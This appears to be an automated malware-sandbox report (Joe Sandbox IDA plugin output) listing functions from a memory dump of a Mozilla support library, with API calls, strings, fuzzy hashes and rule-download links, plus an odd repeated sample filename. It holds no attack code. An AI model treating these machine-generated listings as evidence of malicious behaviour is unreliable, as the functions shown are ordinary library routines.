CoInitializeEx, xrefs: 6C460F36

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 472943014d2381835f2309f5de6d780f622cfc5799259f2160f825aeb0591631
Instruction ID: a13fa80e500eb17f22815fbb822decd6559af24ed7604bed005fb5afa5e9cebf
Opcode Fuzzy Hash: 472943014d2381835f2309f5de6d780f622cfc5799259f2160f825aeb0591631
Instruction Fuzzy Hash: AC11C2743132819BEF24FF99C928F4A37B4EB4B336F004629E90583B82D7B0B401CA59

Function 6C49F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C464A68), ref: 6C49945E
Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C499470
Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C499482
Part of subcall function 6C499420: __Init_thread_footer.LIBCMT ref: 6C49949F

GetCurrentThreadId.KERNEL32 ref: 6C49F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C49F561

Part of subcall function 6C4994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4994EE
Part of subcall function 6C4994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C499508

GetCurrentThreadId.KERNEL32 ref: 6C49F577
AcquireSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49F585
ReleaseSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C49F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C49F499
[I %d/%d] profiler_resume, xrefs: 6C49F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C49F3A8

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 7cfe58f1f6ea753c7680e713828388a80da10810357af7b45ad41307903a6b78
Instruction ID: 0619d0974291a148ae027db1124975eb5edb9599255f3cf63b2966351c0ae693
Opcode Fuzzy Hash: 7cfe58f1f6ea753c7680e713828388a80da10810357af7b45ad41307903a6b78
Instruction Fuzzy Hash: A6F0B475201214AFEA00FF659C48E5A7BBDEB9A26EF040019FA0583702CF31A80087A5

Function 6C460E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C460DF8), ref: 6C460E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C460EA1
__Init_thread_footer.LIBCMT ref: 6C460EB5
FreeLibrary.KERNEL32 ref: 6C460EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C460E9B
kernel32.dll, xrefs: 6C460E7D

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 33cddfae27aae0487854d267fee1f0a3cd1e36710fbf3f6aa54fd698bbdfcb7d
Instruction ID: fe0a8af7b2ab87ef0a852d6a6be50e41f069daf237a87b5fa49b65f6109903aa
Opcode Fuzzy Hash: 33cddfae27aae0487854d267fee1f0a3cd1e36710fbf3f6aa54fd698bbdfcb7d
Instruction Fuzzy Hash: 4D012474B022828BEE20FFA9CA58F8237B5E70671AF104529D90182F84DB74B4048A4A

Function 6C49F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C464A68), ref: 6C49945E
Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C499470
Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C499482
Part of subcall function 6C499420: __Init_thread_footer.LIBCMT ref: 6C49949F

GetCurrentThreadId.KERNEL32 ref: 6C49F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C49F598), ref: 6C49F621

Part of subcall function 6C4994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4994EE
Part of subcall function 6C4994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C499508

GetCurrentThreadId.KERNEL32 ref: 6C49F637
AcquireSRWLockExclusive.KERNEL32(6C4DF4B8,?,?,00000000,?,6C49F598), ref: 6C49F645
ReleaseSRWLockExclusive.KERNEL32(6C4DF4B8,?,?,00000000,?,6C49F598), ref: 6C49F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C49F62A

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 271e237e79070a18edc8a351a3ee16c431ad2d142f0406e35daae46fe2a2f30f
Instruction ID: 3d2b4a2fce74cd78a7abbfa465f407a6e1b46e7480bd5913e5f2a3f70bc71597
Opcode Fuzzy Hash: 271e237e79070a18edc8a351a3ee16c431ad2d142f0406e35daae46fe2a2f30f
Instruction Fuzzy Hash: C6F0BE75201214AFEE00FB648C48E5A7B7DEB9A2AEF040019FA0583701CB76AC0287A1

Function 6C4905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C48CFAE,?,?,?,6C4531A7), ref: 6C4905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C48CFAE,?,?,?,6C4531A7), ref: 6C490616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C4531A7), ref: 6C49061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C4531A7), ref: 6C490627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C49061B, 6C490625
<jemalloc>, xrefs: 6C4905FA, 6C49060F

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 8ed4d9a9eb9bee8820bfade6afb2062a99eb5dcedd5a6625e60c9e3d4227eb00
Instruction ID: 7b2a03396663084e7a2b2d688322e836085341eed0c6799cddd799aaab830c0c
Opcode Fuzzy Hash: 8ed4d9a9eb9bee8820bfade6afb2062a99eb5dcedd5a6625e60c9e3d4227eb00
Instruction Fuzzy Hash: 09E08CE2A0101037F514B256BC86EBB761CDBC6134F08003DFE0D82351E94ABD1A51F7

Function 6C4605F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3a492f5e7608dea642bf14e1723a6d7bb5bc89bb0b9bd847fa4e7e8ef2f8eb5
Instruction ID: 5ec5c7b11d70cdbbae2af9e0c6e653a560ed44c1eea678dc42fc84cecd96d8ce
Opcode Fuzzy Hash: a3a492f5e7608dea642bf14e1723a6d7bb5bc89bb0b9bd847fa4e7e8ef2f8eb5
Instruction Fuzzy Hash: B6A146B0A016458FDB24DF2AC594E9AFBF1BF49304F44866ED44A97B00E770BA85CF94

Function 6C4B14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C4B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4B14E2
GetCurrentThreadId.KERNEL32 ref: 6C4B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C4B15BA
free.MOZGLUE(?), ref: 6C4B16B4

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 058ffa54c1eace82e95f1cb44d4f8435c8060f5253a49c7af3a9aa6c303b708c
Instruction ID: 15b3c07bfba072fa05534b8b61c2d01e19c93ed877bc3550711799970eeef717
Opcode Fuzzy Hash: 058ffa54c1eace82e95f1cb44d4f8435c8060f5253a49c7af3a9aa6c303b708c
Instruction Fuzzy Hash: 4F61BB72A017509BDB21DF64C880FDAB7B5BF89308F04851CE98A67711EB31E959CBA1

Function 6C4A9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4A9FDB
free.MOZGLUE(?,?), ref: 6C4A9FF0
free.MOZGLUE(?,?), ref: 6C4AA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4AA0BE
free.MOZGLUE(?,?), ref: 6C4AA0D5
free.MOZGLUE(?,?), ref: 6C4AA0EB

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 49e3b7e9bfc9d3090135017787c7a3e6f357f7d605344af5d66b7e37a1c81829
Instruction ID: 9fee62c1500382bd655795403c7c025cfea033727b633094d53e5d5a714db6a9
Opcode Fuzzy Hash: 49e3b7e9bfc9d3090135017787c7a3e6f357f7d605344af5d66b7e37a1c81829
Instruction Fuzzy Hash: 5E61BF754086019FC711CF58C480D9AB3F5FF98328F54866DE8999B702EB32E986CBD1

Function 6C4ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C4ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C4AD38A,?), ref: 6C4ADC6F
free.MOZGLUE(?,?,?,?,?,6C4AD38A,?), ref: 6C4ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C4AD38A,?), ref: 6C4ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C4AD38A,?), ref: 6C4ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C4AD38A,?), ref: 6C4ADD4A

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 0f89ca9ba466ca0681a66c2ef23327cebf7114f38cda029965229e84e89072eb
Instruction ID: eabd48a49ed291e5de92a4aeeb67e570fc9c6908864a1c7e8a8335d0e0fc54e3
Opcode Fuzzy Hash: 0f89ca9ba466ca0681a66c2ef23327cebf7114f38cda029965229e84e89072eb
Instruction Fuzzy Hash: 6E4157B5A00605DFCB00CF99C880D9AB7B6FF98304B654469D906ABB14DB31FC01CB90

Function 6C4AC810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C4AC82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C4AC842

Part of subcall function 6C4ACAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C4CB5EB,00000000), ref: 6C4ACB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C4AC863
std::_Facet_Register.LIBCPMT ref: 6C4AC875

Part of subcall function 6C48B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C4CB636,?), ref: 6C48B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C4AC89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4AC8BC

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 3c54caae2c03642f755307fe69b76ed08fe6fdb075063cd9624f56e5d898c71b
Instruction ID: 0bfaea33a3769ecf57db2c9f0fc1ca4e88bf0e5e12b92fdc1c9c8118bb48d634
Opcode Fuzzy Hash: 3c54caae2c03642f755307fe69b76ed08fe6fdb075063cd9624f56e5d898c71b
Instruction Fuzzy Hash: A2118675B002099FCB04FFA4C899DAE7B75FF99355B10012DE90697341DB31A905CBD1

Function 6C4ACCF0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C49DA31,00100000,?,?,00000000,?), ref: 6C4ACDA4

Part of subcall function 6C46CA10: malloc.MOZGLUE(?), ref: 6C46CA26

Part of subcall function 6C4AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C4ACDBA,00100000,?,00000000,?,6C49DA31,00100000,?,?,00000000,?), ref: 6C4AD158
Part of subcall function 6C4AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C4ACDBA,00100000,?,00000000,?,6C49DA31,00100000,?,?,00000000,?), ref: 6C4AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C49DA31,00100000,?,?,00000000,?), ref: 6C4ACDC4

Part of subcall function 6C4A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C4B15FC,?,?,?,?,6C4B15FC,?), ref: 6C4A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C49DA31,00100000,?,?,00000000,?), ref: 6C4ACECC

Part of subcall function 6C46CA10: mozalloc_abort.MOZGLUE(?), ref: 6C46CAA2

Part of subcall function 6C49CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C4ACEEA,?,?,?,?,00000000,?,6C49DA31,00100000,?,?,00000000), ref: 6C49CB57
Part of subcall function 6C49CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C49CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C4ACEEA,?,?), ref: 6C49CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C49DA31,00100000,?,?,00000000,?), ref: 6C4AD058

Strings

YbBCey.exeuOfaNYbBCey.exeuOfaNYbBCey.exeuOfaNYbBCey.exeuOfaNYbBCey.exeuOfaNYbBCey.exeuOfaNYbBCey.exeuOfaNYbBCey.exeuOfaNYbBCey.exeuOfaNYbBCey.exeuOfaNYbBCey.exeuOfaNYbBCey.exeuOfaNYbBCey.exeuOfaNYbBCey.exeuOfaNYbBCey.exeuOfaNYbBCe, xrefs: 6C4ACD2C

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID: YbBCey.exeuOfaNYbBCey.exeuOfaNYbBCey.exeuOfaNYbBCey.exeuOfaNYbBCey.exeuOfaNYbBCey.exeuOfaNYbBCey.exeuOfaNYbBCey.exeuOfaNYbBCey.exeuOfaNYbBCey.exeuOfaNYbBCey.exeuOfaNYbBCey.exeuOfaNYbBCey.exeuOfaNYbBCey.exeuOfaNYbBCey.exeuOfaNYbBCe
API String ID: 861561044-2995262884
Opcode ID: 4bdd6d7b14d30dc6692e34adb518c3739ca41ffab75be9fc6848d9f1a95f3ba1
Instruction ID: 87d5df99230e5f3205cd9f2278f0218e74aac92fd32dad43c7676962dd3de0ae
Opcode Fuzzy Hash: 4bdd6d7b14d30dc6692e34adb518c3739ca41ffab75be9fc6848d9f1a95f3ba1
Instruction Fuzzy Hash: 0CD17F71A04B069FD748CF28C480F99B7F1BF99308F01862DE8598B755EB31A966CBC1

Function 6C48F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C48F480

Part of subcall function 6C45F100: LoadLibraryW.KERNEL32(shell32,?,6C4CD020), ref: 6C45F122
Part of subcall function 6C45F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C45F132

CloseHandle.KERNEL32(00000000), ref: 6C48F555

Part of subcall function 6C4614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C461248,6C461248,?), ref: 6C4614C9
Part of subcall function 6C4614B0: memcpy.VCRUNTIME140(?,6C461248,00000000,?,6C461248,?), ref: 6C4614EF

Part of subcall function 6C45EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C45EEE3

CreateFileW.KERNEL32 ref: 6C48F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C48F523

Strings

\oleacc.dll, xrefs: 6C48F4CB

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: ac1cf56ed3998a59c74436d92f03f90f220a4837c8191742dc36aa0097b20266
Instruction ID: dd682ecbe6ab34ea9951065edb79bd0d34161d374bf02a8bde44aefae28c3925
Opcode Fuzzy Hash: ac1cf56ed3998a59c74436d92f03f90f220a4837c8191742dc36aa0097b20266
Instruction Fuzzy Hash: 7E41BF3060A7509FE721EF29D884F9BB7F4AF44729F504A1CF59083691EB30E949CB92

Function 6C49E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C464A68), ref: 6C49945E
Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C499470
Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C499482
Part of subcall function 6C499420: __Init_thread_footer.LIBCMT ref: 6C49949F

GetCurrentThreadId.KERNEL32 ref: 6C49E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C49E04F

Part of subcall function 6C4994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4994EE
Part of subcall function 6C4994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C499508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C49E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C49E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C49E057

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: f9b2964cc2692502fe0b18f3887f58efa6b8933ffb06dc691e6fdb9fb9ba7819
Instruction ID: 18f52fb0965e1d2058ebb5ed3a19c59b97fcf1fc4bd7cca4ec066fea739fcc86
Opcode Fuzzy Hash: f9b2964cc2692502fe0b18f3887f58efa6b8933ffb06dc691e6fdb9fb9ba7819
Instruction Fuzzy Hash: AD21B074B001289FDF04EF64D898EAEBBB5BF85209F140418E90AA7740DB31E909C7E1

Function 6C4B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C4B7526
__Init_thread_footer.LIBCMT ref: 6C4B7566
__Init_thread_footer.LIBCMT ref: 6C4B7597

Strings

UnmapViewOfFile2, xrefs: 6C4B7552
kernel32.dll, xrefs: 6C4B7557

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
